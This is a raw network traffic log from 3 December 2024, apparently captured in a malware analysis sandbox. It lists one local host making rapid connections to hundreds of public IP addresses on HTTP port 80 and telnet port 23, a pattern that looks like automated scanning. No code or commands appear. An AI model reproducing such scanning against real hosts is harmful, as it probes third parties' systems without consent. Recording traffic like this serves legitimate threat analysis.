Dec 3, 2024 22:16:52.595592022 CET	46416	80	192.168.2.23	93.104.201.65
Dec 3, 2024 22:16:52.595592022 CET	42060	80	192.168.2.23	101.211.231.251
Dec 3, 2024 22:16:52.595592022 CET	45016	80	192.168.2.23	186.244.224.1
Dec 3, 2024 22:16:52.595597029 CET	40704	80	192.168.2.23	177.102.58.160
Dec 3, 2024 22:16:52.595599890 CET	37300	80	192.168.2.23	159.157.188.52
Dec 3, 2024 22:16:52.595604897 CET	37046	80	192.168.2.23	83.228.148.68
Dec 3, 2024 22:16:52.595604897 CET	55834	80	192.168.2.23	103.104.235.120
Dec 3, 2024 22:16:52.595604897 CET	33508	80	192.168.2.23	116.198.57.17
Dec 3, 2024 22:16:52.595604897 CET	48682	80	192.168.2.23	70.167.174.224
Dec 3, 2024 22:16:52.595607042 CET	41442	80	192.168.2.23	97.55.138.48
Dec 3, 2024 22:16:52.595607042 CET	33774	80	192.168.2.23	213.75.138.155
Dec 3, 2024 22:16:52.595607042 CET	54496	80	192.168.2.23	194.18.61.94
Dec 3, 2024 22:16:52.595622063 CET	40546	80	192.168.2.23	128.106.21.141
Dec 3, 2024 22:16:52.595622063 CET	41662	80	192.168.2.23	72.185.180.188
Dec 3, 2024 22:16:52.595622063 CET	55508	80	192.168.2.23	2.233.134.116
Dec 3, 2024 22:16:52.595623016 CET	38150	80	192.168.2.23	205.37.220.224
Dec 3, 2024 22:16:52.595622063 CET	41042	80	192.168.2.23	18.120.91.237
Dec 3, 2024 22:16:52.595622063 CET	60516	80	192.168.2.23	176.10.51.162
Dec 3, 2024 22:16:52.595623016 CET	49306	80	192.168.2.23	49.132.127.254
Dec 3, 2024 22:16:52.595622063 CET	38242	80	192.168.2.23	66.28.161.170
Dec 3, 2024 22:16:52.595622063 CET	44520	80	192.168.2.23	2.116.62.181
Dec 3, 2024 22:16:52.674266100 CET	23	37963	200.116.50.119	192.168.2.23
Dec 3, 2024 22:16:52.674278975 CET	23	37963	81.172.183.245	192.168.2.23
Dec 3, 2024 22:16:52.674289942 CET	23	37963	83.215.41.110	192.168.2.23
Dec 3, 2024 22:16:52.674299955 CET	23	37963	220.137.33.141	192.168.2.23
Dec 3, 2024 22:16:52.674316883 CET	23	37963	20.214.51.56	192.168.2.23
Dec 3, 2024 22:16:52.674359083 CET	23	37963	222.66.128.33	192.168.2.23
Dec 3, 2024 22:16:52.674366951 CET	23	37963	18.166.84.137	192.168.2.23
Dec 3, 2024 22:16:52.674376965 CET	23	37963	128.36.0.246	192.168.2.23
Dec 3, 2024 22:16:52.674424887 CET	23	37963	134.250.6.195	192.168.2.23
Dec 3, 2024 22:16:52.674433947 CET	23	37963	140.131.79.25	192.168.2.23
Dec 3, 2024 22:16:52.674442053 CET	23	37963	119.248.138.88	192.168.2.23
Dec 3, 2024 22:16:52.674453020 CET	23	37963	160.124.161.81	192.168.2.23
Dec 3, 2024 22:16:52.674459934 CET	37963	23	192.168.2.23	20.214.51.56
Dec 3, 2024 22:16:52.674462080 CET	37963	23	192.168.2.23	83.215.41.110
Dec 3, 2024 22:16:52.674462080 CET	37963	23	192.168.2.23	220.137.33.141
Dec 3, 2024 22:16:52.674462080 CET	37963	23	192.168.2.23	222.66.128.33
Dec 3, 2024 22:16:52.674462080 CET	37963	23	192.168.2.23	81.172.183.245
Dec 3, 2024 22:16:52.674462080 CET	37963	23	192.168.2.23	128.36.0.246
Dec 3, 2024 22:16:52.674464941 CET	37963	23	192.168.2.23	200.116.50.119
Dec 3, 2024 22:16:52.674467087 CET	37963	23	192.168.2.23	18.166.84.137
Dec 3, 2024 22:16:52.674467087 CET	37963	23	192.168.2.23	140.131.79.25
Dec 3, 2024 22:16:52.674473047 CET	37963	23	192.168.2.23	134.250.6.195
Dec 3, 2024 22:16:52.674477100 CET	37963	23	192.168.2.23	119.248.138.88
Dec 3, 2024 22:16:52.674498081 CET	37963	23	192.168.2.23	160.124.161.81
Dec 3, 2024 22:16:52.674510956 CET	23	37963	148.238.61.42	192.168.2.23
Dec 3, 2024 22:16:52.674520016 CET	23	37963	173.37.39.99	192.168.2.23
Dec 3, 2024 22:16:52.674525976 CET	23	37963	176.187.240.29	192.168.2.23
Dec 3, 2024 22:16:52.674559116 CET	37963	23	192.168.2.23	173.37.39.99
Dec 3, 2024 22:16:52.674561024 CET	37963	23	192.168.2.23	148.238.61.42
Dec 3, 2024 22:16:52.674562931 CET	37963	23	192.168.2.23	176.187.240.29
Dec 3, 2024 22:16:52.674588919 CET	23	37963	91.118.137.54	192.168.2.23
Dec 3, 2024 22:16:52.674599886 CET	23	37963	219.77.204.63	192.168.2.23
Dec 3, 2024 22:16:52.674607038 CET	23	37963	78.223.142.243	192.168.2.23
Dec 3, 2024 22:16:52.674621105 CET	23	37963	126.154.61.181	192.168.2.23
Dec 3, 2024 22:16:52.674624920 CET	37963	23	192.168.2.23	219.77.204.63
Dec 3, 2024 22:16:52.674628973 CET	23	37963	192.25.23.39	192.168.2.23
Dec 3, 2024 22:16:52.674629927 CET	37963	23	192.168.2.23	91.118.137.54
Dec 3, 2024 22:16:52.674644947 CET	37963	23	192.168.2.23	78.223.142.243
Dec 3, 2024 22:16:52.674654961 CET	37963	23	192.168.2.23	126.154.61.181
Dec 3, 2024 22:16:52.674659014 CET	37963	23	192.168.2.23	192.25.23.39
Dec 3, 2024 22:16:52.674684048 CET	23	37963	108.129.76.78	192.168.2.23
Dec 3, 2024 22:16:52.674693108 CET	23	37963	47.59.151.21	192.168.2.23
Dec 3, 2024 22:16:52.674700975 CET	23	37963	46.88.119.141	192.168.2.23
Dec 3, 2024 22:16:52.674709082 CET	23	37963	201.165.107.37	192.168.2.23
Dec 3, 2024 22:16:52.674722910 CET	37963	23	192.168.2.23	108.129.76.78
Dec 3, 2024 22:16:52.674725056 CET	23	37963	35.88.229.114	192.168.2.23
Dec 3, 2024 22:16:52.674726963 CET	37963	23	192.168.2.23	47.59.151.21
Dec 3, 2024 22:16:52.674730062 CET	37963	23	192.168.2.23	46.88.119.141
Dec 3, 2024 22:16:52.674735069 CET	23	37963	131.31.96.254	192.168.2.23
Dec 3, 2024 22:16:52.674737930 CET	37963	23	192.168.2.23	201.165.107.37
Dec 3, 2024 22:16:52.674751997 CET	37963	23	192.168.2.23	35.88.229.114
Dec 3, 2024 22:16:52.674760103 CET	37963	23	192.168.2.23	131.31.96.254
Dec 3, 2024 22:16:52.674762964 CET	23	37963	181.54.122.45	192.168.2.23
Dec 3, 2024 22:16:52.674772024 CET	23	37963	27.99.198.176	192.168.2.23
Dec 3, 2024 22:16:52.674798965 CET	37963	23	192.168.2.23	181.54.122.45
Dec 3, 2024 22:16:52.674801111 CET	37963	23	192.168.2.23	27.99.198.176
Dec 3, 2024 22:16:52.675472975 CET	23	37963	206.248.212.213	192.168.2.23
Dec 3, 2024 22:16:52.675512075 CET	37963	23	192.168.2.23	206.248.212.213
Dec 3, 2024 22:16:52.675570011 CET	23	37963	52.15.39.3	192.168.2.23
Dec 3, 2024 22:16:52.675579071 CET	23	37963	128.145.38.178	192.168.2.23
Dec 3, 2024 22:16:52.675595999 CET	23	37963	146.101.214.214	192.168.2.23
Dec 3, 2024 22:16:52.675606012 CET	23	37963	106.4.213.78	192.168.2.23
Dec 3, 2024 22:16:52.675612926 CET	37963	23	192.168.2.23	52.15.39.3
Dec 3, 2024 22:16:52.675616026 CET	37963	23	192.168.2.23	128.145.38.178
Dec 3, 2024 22:16:52.675617933 CET	23	37963	128.170.212.160	192.168.2.23
Dec 3, 2024 22:16:52.675627947 CET	37963	23	192.168.2.23	146.101.214.214
Dec 3, 2024 22:16:52.675643921 CET	37963	23	192.168.2.23	106.4.213.78
Dec 3, 2024 22:16:52.675643921 CET	37963	23	192.168.2.23	128.170.212.160
Dec 3, 2024 22:16:52.675669909 CET	23	37963	141.229.69.147	192.168.2.23
Dec 3, 2024 22:16:52.675678968 CET	23	37963	125.198.119.137	192.168.2.23
Dec 3, 2024 22:16:52.675687075 CET	23	37963	64.11.170.56	192.168.2.23
Dec 3, 2024 22:16:52.675707102 CET	37963	23	192.168.2.23	125.198.119.137
Dec 3, 2024 22:16:52.675709963 CET	37963	23	192.168.2.23	141.229.69.147
Dec 3, 2024 22:16:52.675726891 CET	37963	23	192.168.2.23	64.11.170.56
Dec 3, 2024 22:16:52.675801992 CET	23	37963	210.181.52.64	192.168.2.23
Dec 3, 2024 22:16:52.675811052 CET	23	37963	135.151.127.30	192.168.2.23
Dec 3, 2024 22:16:52.675818920 CET	23	37963	32.86.95.170	192.168.2.23
Dec 3, 2024 22:16:52.675827026 CET	23	37963	86.234.151.224	192.168.2.23
Dec 3, 2024 22:16:52.675831079 CET	23	37963	190.94.219.204	192.168.2.23
Dec 3, 2024 22:16:52.675834894 CET	23	37963	44.163.11.49	192.168.2.23
Dec 3, 2024 22:16:52.675837040 CET	37963	23	192.168.2.23	210.181.52.64
Dec 3, 2024 22:16:52.675843954 CET	23	37963	108.171.207.235	192.168.2.23
Dec 3, 2024 22:16:52.675844908 CET	37963	23	192.168.2.23	135.151.127.30
Dec 3, 2024 22:16:52.675852060 CET	23	37963	110.109.143.181	192.168.2.23
Dec 3, 2024 22:16:52.675856113 CET	37963	23	192.168.2.23	32.86.95.170
Dec 3, 2024 22:16:52.675863028 CET	37963	23	192.168.2.23	86.234.151.224
Dec 3, 2024 22:16:52.675863028 CET	23	37963	36.37.61.208	192.168.2.23
Dec 3, 2024 22:16:52.675868988 CET	37963	23	192.168.2.23	190.94.219.204
Dec 3, 2024 22:16:52.675868988 CET	37963	23	192.168.2.23	44.163.11.49
Dec 3, 2024 22:16:52.675883055 CET	37963	23	192.168.2.23	110.109.143.181
Dec 3, 2024 22:16:52.675884962 CET	37963	23	192.168.2.23	108.171.207.235
Dec 3, 2024 22:16:52.675898075 CET	23	37963	18.140.103.128	192.168.2.23
Dec 3, 2024 22:16:52.675905943 CET	37963	23	192.168.2.23	36.37.61.208
Dec 3, 2024 22:16:52.675906897 CET	23	37963	223.114.24.97	192.168.2.23
Dec 3, 2024 22:16:52.675915003 CET	23	37963	47.245.88.214	192.168.2.23
Dec 3, 2024 22:16:52.675923109 CET	23	37963	105.214.56.106	192.168.2.23
Dec 3, 2024 22:16:52.675936937 CET	23	37963	27.11.32.42	192.168.2.23
Dec 3, 2024 22:16:52.675939083 CET	37963	23	192.168.2.23	18.140.103.128
Dec 3, 2024 22:16:52.675942898 CET	37963	23	192.168.2.23	223.114.24.97
Dec 3, 2024 22:16:52.675945997 CET	37963	23	192.168.2.23	47.245.88.214
Dec 3, 2024 22:16:52.675950050 CET	23	37963	220.222.140.117	192.168.2.23
Dec 3, 2024 22:16:52.675954103 CET	37963	23	192.168.2.23	105.214.56.106
Dec 3, 2024 22:16:52.675966978 CET	37963	23	192.168.2.23	27.11.32.42
Dec 3, 2024 22:16:52.675985098 CET	37963	23	192.168.2.23	220.222.140.117
Dec 3, 2024 22:16:52.676001072 CET	23	37963	125.58.56.9	192.168.2.23
Dec 3, 2024 22:16:52.676011086 CET	23	37963	183.154.176.242	192.168.2.23
Dec 3, 2024 22:16:52.676018000 CET	23	37963	150.18.145.249	192.168.2.23
Dec 3, 2024 22:16:52.676026106 CET	23	37963	97.36.157.227	192.168.2.23
Dec 3, 2024 22:16:52.676037073 CET	37963	23	192.168.2.23	125.58.56.9
Dec 3, 2024 22:16:52.676037073 CET	37963	23	192.168.2.23	183.154.176.242
Dec 3, 2024 22:16:52.676055908 CET	37963	23	192.168.2.23	97.36.157.227
Dec 3, 2024 22:16:52.676058054 CET	37963	23	192.168.2.23	150.18.145.249
Dec 3, 2024 22:16:52.676510096 CET	23	37963	4.47.253.57	192.168.2.23
Dec 3, 2024 22:16:52.676544905 CET	37963	23	192.168.2.23	4.47.253.57
Dec 3, 2024 22:16:52.676549911 CET	23	37963	132.205.19.6	192.168.2.23
Dec 3, 2024 22:16:52.676587105 CET	23	37963	9.43.166.168	192.168.2.23
Dec 3, 2024 22:16:52.676592112 CET	37963	23	192.168.2.23	132.205.19.6
Dec 3, 2024 22:16:52.676595926 CET	23	37963	219.250.154.148	192.168.2.23
Dec 3, 2024 22:16:52.676625013 CET	37963	23	192.168.2.23	9.43.166.168
Dec 3, 2024 22:16:52.676629066 CET	37963	23	192.168.2.23	219.250.154.148
Dec 3, 2024 22:16:52.676656961 CET	23	37963	19.115.211.111	192.168.2.23
Dec 3, 2024 22:16:52.676676989 CET	23	37963	116.118.68.11	192.168.2.23
Dec 3, 2024 22:16:52.676693916 CET	37963	23	192.168.2.23	19.115.211.111
Dec 3, 2024 22:16:52.676713943 CET	37963	23	192.168.2.23	116.118.68.11
Dec 3, 2024 22:16:52.676732063 CET	23	37963	196.74.162.0	192.168.2.23
Dec 3, 2024 22:16:52.676753998 CET	23	37963	163.76.83.235	192.168.2.23
Dec 3, 2024 22:16:52.676774025 CET	37963	23	192.168.2.23	196.74.162.0
Dec 3, 2024 22:16:52.676786900 CET	37963	23	192.168.2.23	163.76.83.235
Dec 3, 2024 22:16:52.676831961 CET	23	37963	123.43.217.202	192.168.2.23
Dec 3, 2024 22:16:52.676870108 CET	23	37963	165.39.19.62	192.168.2.23
Dec 3, 2024 22:16:52.676871061 CET	37963	23	192.168.2.23	123.43.217.202
Dec 3, 2024 22:16:52.676878929 CET	23	37963	1.174.197.85	192.168.2.23
Dec 3, 2024 22:16:52.676892042 CET	23	37963	110.186.175.241	192.168.2.23
Dec 3, 2024 22:16:52.676911116 CET	37963	23	192.168.2.23	165.39.19.62
Dec 3, 2024 22:16:52.676913977 CET	23	37963	204.95.44.76	192.168.2.23
Dec 3, 2024 22:16:52.676913977 CET	37963	23	192.168.2.23	1.174.197.85
Dec 3, 2024 22:16:52.676918983 CET	37963	23	192.168.2.23	110.186.175.241
Dec 3, 2024 22:16:52.676958084 CET	37963	23	192.168.2.23	204.95.44.76
Dec 3, 2024 22:16:52.676958084 CET	23	37963	164.75.156.253	192.168.2.23
Dec 3, 2024 22:16:52.676980972 CET	23	37963	84.125.145.100	192.168.2.23
Dec 3, 2024 22:16:52.676997900 CET	37963	23	192.168.2.23	164.75.156.253
Dec 3, 2024 22:16:52.677014112 CET	37963	23	192.168.2.23	84.125.145.100
Dec 3, 2024 22:16:52.677023888 CET	23	37963	18.228.192.174	192.168.2.23
Dec 3, 2024 22:16:52.677062988 CET	37963	23	192.168.2.23	18.228.192.174
Dec 3, 2024 22:16:52.677064896 CET	23	37963	59.238.200.113	192.168.2.23
Dec 3, 2024 22:16:52.677077055 CET	23	37963	147.72.154.124	192.168.2.23
Dec 3, 2024 22:16:52.677098036 CET	37963	23	192.168.2.23	59.238.200.113
Dec 3, 2024 22:16:52.677109003 CET	37963	23	192.168.2.23	147.72.154.124
Dec 3, 2024 22:16:52.683501005 CET	80	35252	210.36.162.136	192.168.2.23
Dec 3, 2024 22:16:52.683557034 CET	35252	80	192.168.2.23	210.36.162.136
Dec 3, 2024 22:16:52.683624983 CET	35252	80	192.168.2.23	210.36.162.136
Dec 3, 2024 22:16:52.683645010 CET	37707	80	192.168.2.23	180.60.94.132
Dec 3, 2024 22:16:52.683650970 CET	37707	80	192.168.2.23	174.196.88.173
Dec 3, 2024 22:16:52.683650970 CET	37707	80	192.168.2.23	60.178.102.141
Dec 3, 2024 22:16:52.683664083 CET	37707	80	192.168.2.23	173.92.73.28
Dec 3, 2024 22:16:52.683667898 CET	37707	80	192.168.2.23	156.146.98.24
Dec 3, 2024 22:16:52.683667898 CET	37707	80	192.168.2.23	207.31.188.4
Dec 3, 2024 22:16:52.683670998 CET	37707	80	192.168.2.23	129.65.108.220
Dec 3, 2024 22:16:52.683670998 CET	37707	80	192.168.2.23	131.59.130.94
Dec 3, 2024 22:16:52.683680058 CET	37707	80	192.168.2.23	20.46.92.83
Dec 3, 2024 22:16:52.683680058 CET	37707	80	192.168.2.23	175.153.112.73
Dec 3, 2024 22:16:52.683682919 CET	37707	80	192.168.2.23	53.101.20.123
Dec 3, 2024 22:16:52.683690071 CET	37707	80	192.168.2.23	220.208.158.213
Dec 3, 2024 22:16:52.683695078 CET	37707	80	192.168.2.23	159.207.37.112
Dec 3, 2024 22:16:52.683696032 CET	37707	80	192.168.2.23	158.254.178.63
Dec 3, 2024 22:16:52.683707952 CET	37707	80	192.168.2.23	209.159.103.197
Dec 3, 2024 22:16:52.683712006 CET	37707	80	192.168.2.23	114.188.96.90
Dec 3, 2024 22:16:52.683712959 CET	37707	80	192.168.2.23	25.87.30.121
Dec 3, 2024 22:16:52.683722019 CET	37707	80	192.168.2.23	189.197.175.132
Dec 3, 2024 22:16:52.683731079 CET	37707	80	192.168.2.23	164.57.235.238
Dec 3, 2024 22:16:52.683736086 CET	37707	80	192.168.2.23	174.62.219.37
Dec 3, 2024 22:16:52.683736086 CET	37707	80	192.168.2.23	119.205.123.198
Dec 3, 2024 22:16:52.683739901 CET	37707	80	192.168.2.23	12.66.139.4
Dec 3, 2024 22:16:52.683741093 CET	37707	80	192.168.2.23	54.255.197.169
Dec 3, 2024 22:16:52.683748007 CET	37707	80	192.168.2.23	49.132.18.193
Dec 3, 2024 22:16:52.683749914 CET	37707	80	192.168.2.23	85.159.50.116
Dec 3, 2024 22:16:52.683757067 CET	37707	80	192.168.2.23	125.70.74.56
Dec 3, 2024 22:16:52.683758020 CET	37707	80	192.168.2.23	208.27.135.202
Dec 3, 2024 22:16:52.683758020 CET	37707	80	192.168.2.23	194.155.58.87
Dec 3, 2024 22:16:52.683758020 CET	37707	80	192.168.2.23	144.7.6.34
Dec 3, 2024 22:16:52.683758020 CET	37707	80	192.168.2.23	20.227.196.88
Dec 3, 2024 22:16:52.683758020 CET	37707	80	192.168.2.23	53.141.197.6
Dec 3, 2024 22:16:52.683768034 CET	37707	80	192.168.2.23	126.108.222.157
Dec 3, 2024 22:16:52.683768988 CET	37707	80	192.168.2.23	81.88.224.63
Dec 3, 2024 22:16:52.683770895 CET	37707	80	192.168.2.23	155.85.109.133
Dec 3, 2024 22:16:52.683770895 CET	37707	80	192.168.2.23	199.155.91.221
Dec 3, 2024 22:16:52.683770895 CET	37707	80	192.168.2.23	80.15.85.138
Dec 3, 2024 22:16:52.683777094 CET	37707	80	192.168.2.23	66.177.232.38
Dec 3, 2024 22:16:52.683777094 CET	37707	80	192.168.2.23	195.182.118.62
Dec 3, 2024 22:16:52.683779955 CET	37707	80	192.168.2.23	89.199.34.42
Dec 3, 2024 22:16:52.683782101 CET	37707	80	192.168.2.23	35.39.236.221
Dec 3, 2024 22:16:52.683783054 CET	37707	80	192.168.2.23	205.112.204.216
Dec 3, 2024 22:16:52.683785915 CET	37707	80	192.168.2.23	110.29.9.230
Dec 3, 2024 22:16:52.683785915 CET	37707	80	192.168.2.23	94.200.19.107
Dec 3, 2024 22:16:52.683794975 CET	37707	80	192.168.2.23	89.36.32.212
Dec 3, 2024 22:16:52.683794975 CET	37707	80	192.168.2.23	222.175.128.60
Dec 3, 2024 22:16:52.683799028 CET	37707	80	192.168.2.23	142.65.158.196
Dec 3, 2024 22:16:52.683799982 CET	37707	80	192.168.2.23	204.50.27.21
Dec 3, 2024 22:16:52.683800936 CET	37707	80	192.168.2.23	72.89.84.19
Dec 3, 2024 22:16:52.683801889 CET	37707	80	192.168.2.23	103.10.72.31
Dec 3, 2024 22:16:52.683801889 CET	37707	80	192.168.2.23	158.222.184.160
Dec 3, 2024 22:16:52.683809042 CET	37707	80	192.168.2.23	125.183.55.106
Dec 3, 2024 22:16:52.683809042 CET	37707	80	192.168.2.23	166.125.169.245
Dec 3, 2024 22:16:52.683809042 CET	37707	80	192.168.2.23	115.250.107.122
Dec 3, 2024 22:16:52.683809042 CET	37707	80	192.168.2.23	223.229.49.33
Dec 3, 2024 22:16:52.683811903 CET	37707	80	192.168.2.23	64.128.227.130
Dec 3, 2024 22:16:52.683821917 CET	37707	80	192.168.2.23	46.172.106.78
Dec 3, 2024 22:16:52.683821917 CET	37707	80	192.168.2.23	130.249.134.187
Dec 3, 2024 22:16:52.683824062 CET	37707	80	192.168.2.23	168.39.209.97
Dec 3, 2024 22:16:52.683825016 CET	37707	80	192.168.2.23	205.142.220.120
Dec 3, 2024 22:16:52.683825016 CET	37707	80	192.168.2.23	65.76.124.202
Dec 3, 2024 22:16:52.683840990 CET	37707	80	192.168.2.23	136.241.67.99
Dec 3, 2024 22:16:52.683842897 CET	37707	80	192.168.2.23	169.24.41.45
Dec 3, 2024 22:16:52.683845043 CET	37707	80	192.168.2.23	92.98.14.97
Dec 3, 2024 22:16:52.683845997 CET	37707	80	192.168.2.23	220.153.254.130
Dec 3, 2024 22:16:52.683845997 CET	37707	80	192.168.2.23	122.72.45.34
Dec 3, 2024 22:16:52.683846951 CET	37707	80	192.168.2.23	171.206.209.172
Dec 3, 2024 22:16:52.683846951 CET	37707	80	192.168.2.23	120.223.46.105
Dec 3, 2024 22:16:52.683871031 CET	37707	80	192.168.2.23	154.78.184.2
Dec 3, 2024 22:16:52.683871031 CET	37707	80	192.168.2.23	58.179.151.53
Dec 3, 2024 22:16:52.683871031 CET	37707	80	192.168.2.23	149.156.64.21
Dec 3, 2024 22:16:52.683871031 CET	37707	80	192.168.2.23	34.206.203.119
Dec 3, 2024 22:16:52.683871031 CET	37707	80	192.168.2.23	91.93.144.217
Dec 3, 2024 22:16:52.683871984 CET	37707	80	192.168.2.23	160.78.125.164
Dec 3, 2024 22:16:52.683871984 CET	37707	80	192.168.2.23	193.176.171.62
Dec 3, 2024 22:16:52.683871984 CET	37707	80	192.168.2.23	136.214.63.80
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	47.32.134.172
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	68.53.219.0
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	45.240.143.120
Dec 3, 2024 22:16:52.683873892 CET	37707	80	192.168.2.23	101.174.39.94
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	206.144.28.176
Dec 3, 2024 22:16:52.683873892 CET	37707	80	192.168.2.23	178.112.56.117
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	130.210.6.177
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	188.31.206.35
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	77.49.21.65
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	172.205.191.196
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	41.137.95.236
Dec 3, 2024 22:16:52.683872938 CET	37707	80	192.168.2.23	207.35.255.147
Dec 3, 2024 22:16:52.683908939 CET	37707	80	192.168.2.23	53.232.111.27
Dec 3, 2024 22:16:52.683908939 CET	37707	80	192.168.2.23	167.253.54.148
Dec 3, 2024 22:16:52.683908939 CET	37707	80	192.168.2.23	193.88.10.106
Dec 3, 2024 22:16:52.683912992 CET	37707	80	192.168.2.23	185.161.65.39
Dec 3, 2024 22:16:52.683912992 CET	37707	80	192.168.2.23	147.156.196.62
Dec 3, 2024 22:16:52.683912992 CET	37707	80	192.168.2.23	74.53.214.234
Dec 3, 2024 22:16:52.683912992 CET	37707	80	192.168.2.23	31.177.109.108
Dec 3, 2024 22:16:52.683913946 CET	37707	80	192.168.2.23	169.206.14.195
Dec 3, 2024 22:16:52.683912992 CET	37707	80	192.168.2.23	96.107.49.100
Dec 3, 2024 22:16:52.683916092 CET	37707	80	192.168.2.23	197.109.238.72
Dec 3, 2024 22:16:52.683916092 CET	37707	80	192.168.2.23	158.61.129.107
Dec 3, 2024 22:16:52.683913946 CET	37707	80	192.168.2.23	131.83.52.26
Dec 3, 2024 22:16:52.683912992 CET	37707	80	192.168.2.23	108.47.72.103
Dec 3, 2024 22:16:52.683913946 CET	37707	80	192.168.2.23	128.88.51.183
Dec 3, 2024 22:16:52.683916092 CET	37707	80	192.168.2.23	36.25.2.143
Dec 3, 2024 22:16:52.683916092 CET	37707	80	192.168.2.23	25.6.132.247
Dec 3, 2024 22:16:52.683913946 CET	37707	80	192.168.2.23	48.97.170.215
Dec 3, 2024 22:16:52.683912992 CET	37707	80	192.168.2.23	5.54.110.51
Dec 3, 2024 22:16:52.683913946 CET	37707	80	192.168.2.23	136.32.74.42
Dec 3, 2024 22:16:52.683916092 CET	37707	80	192.168.2.23	66.166.161.107
Dec 3, 2024 22:16:52.683913946 CET	37707	80	192.168.2.23	141.94.237.205
Dec 3, 2024 22:16:52.683913946 CET	37707	80	192.168.2.23	14.158.119.248
Dec 3, 2024 22:16:52.683913946 CET	37707	80	192.168.2.23	163.31.181.141
Dec 3, 2024 22:16:52.683950901 CET	37707	80	192.168.2.23	147.111.245.160
Dec 3, 2024 22:16:52.683950901 CET	37707	80	192.168.2.23	108.72.10.64
Dec 3, 2024 22:16:52.683950901 CET	37707	80	192.168.2.23	118.234.86.153
Dec 3, 2024 22:16:52.683950901 CET	37707	80	192.168.2.23	72.56.167.193
Dec 3, 2024 22:16:52.683950901 CET	37707	80	192.168.2.23	17.156.93.138
Dec 3, 2024 22:16:52.683950901 CET	37707	80	192.168.2.23	49.53.131.18
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	66.72.183.182
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	107.223.138.163
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	94.161.231.246
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	23.250.72.194
Dec 3, 2024 22:16:52.683955908 CET	37707	80	192.168.2.23	110.165.247.222
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	180.130.158.80
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	200.201.217.189
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	20.92.193.153
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	91.221.10.2
Dec 3, 2024 22:16:52.683958054 CET	37707	80	192.168.2.23	175.201.192.122
Dec 3, 2024 22:16:52.683959007 CET	37707	80	192.168.2.23	70.96.11.40
Dec 3, 2024 22:16:52.683958054 CET	37707	80	192.168.2.23	146.207.244.66
Dec 3, 2024 22:16:52.683958054 CET	37707	80	192.168.2.23	170.109.191.161
Dec 3, 2024 22:16:52.683959007 CET	37707	80	192.168.2.23	222.46.163.141
Dec 3, 2024 22:16:52.683958054 CET	37707	80	192.168.2.23	162.38.93.104
Dec 3, 2024 22:16:52.683959007 CET	37707	80	192.168.2.23	195.170.1.6
Dec 3, 2024 22:16:52.683958054 CET	37707	80	192.168.2.23	197.206.67.242
Dec 3, 2024 22:16:52.683959007 CET	37707	80	192.168.2.23	161.16.12.238
Dec 3, 2024 22:16:52.683954954 CET	37707	80	192.168.2.23	207.246.3.22
Dec 3, 2024 22:16:52.683958054 CET	37707	80	192.168.2.23	222.98.168.228
Dec 3, 2024 22:16:52.683959961 CET	37707	80	192.168.2.23	48.164.13.113
Dec 3, 2024 22:16:52.683959007 CET	37707	80	192.168.2.23	136.115.131.135
Dec 3, 2024 22:16:52.683958054 CET	37707	80	192.168.2.23	211.34.25.233
Dec 3, 2024 22:16:52.683959961 CET	37707	80	192.168.2.23	47.140.105.198
Dec 3, 2024 22:16:52.683959007 CET	37707	80	192.168.2.23	162.53.45.70
Dec 3, 2024 22:16:52.683959961 CET	37707	80	192.168.2.23	72.68.98.199
Dec 3, 2024 22:16:52.683959961 CET	37707	80	192.168.2.23	111.159.25.54
Dec 3, 2024 22:16:52.683959961 CET	37707	80	192.168.2.23	119.84.99.223
Dec 3, 2024 22:16:52.683959961 CET	37707	80	192.168.2.23	173.161.233.65
Dec 3, 2024 22:16:52.683996916 CET	37707	80	192.168.2.23	162.240.235.183
Dec 3, 2024 22:16:52.683996916 CET	37707	80	192.168.2.23	62.232.211.57
Dec 3, 2024 22:16:52.683996916 CET	37707	80	192.168.2.23	216.89.249.74
Dec 3, 2024 22:16:52.683996916 CET	37707	80	192.168.2.23	221.254.37.157
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	167.48.126.135
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	76.58.229.63
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	8.3.103.11
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	181.221.2.5
Dec 3, 2024 22:16:52.684003115 CET	37707	80	192.168.2.23	8.250.219.45
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	107.128.167.147
Dec 3, 2024 22:16:52.684005022 CET	37707	80	192.168.2.23	31.66.207.158
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	210.134.48.59
Dec 3, 2024 22:16:52.684005976 CET	37707	80	192.168.2.23	94.209.168.201
Dec 3, 2024 22:16:52.684005022 CET	37707	80	192.168.2.23	41.205.63.120
Dec 3, 2024 22:16:52.684007883 CET	37707	80	192.168.2.23	87.154.249.123
Dec 3, 2024 22:16:52.684003115 CET	37707	80	192.168.2.23	148.39.69.249
Dec 3, 2024 22:16:52.684005022 CET	37707	80	192.168.2.23	178.181.181.134
Dec 3, 2024 22:16:52.684001923 CET	37707	80	192.168.2.23	176.60.95.183
Dec 3, 2024 22:16:52.684005022 CET	37707	80	192.168.2.23	98.185.252.193
Dec 3, 2024 22:16:52.684010029 CET	37707	80	192.168.2.23	75.55.9.66
Dec 3, 2024 22:16:52.684005976 CET	37707	80	192.168.2.23	74.52.178.189
Dec 3, 2024 22:16:52.684003115 CET	37707	80	192.168.2.23	84.124.40.91
Dec 3, 2024 22:16:52.684010029 CET	37707	80	192.168.2.23	196.31.109.16
